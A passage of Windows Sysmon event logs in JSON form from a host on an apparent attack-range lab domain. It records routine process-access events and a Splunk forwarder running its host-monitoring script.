C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.988\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010604C0300}\r\nProcessId: 2412\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinHostMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.988","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010604C0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinHostMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTE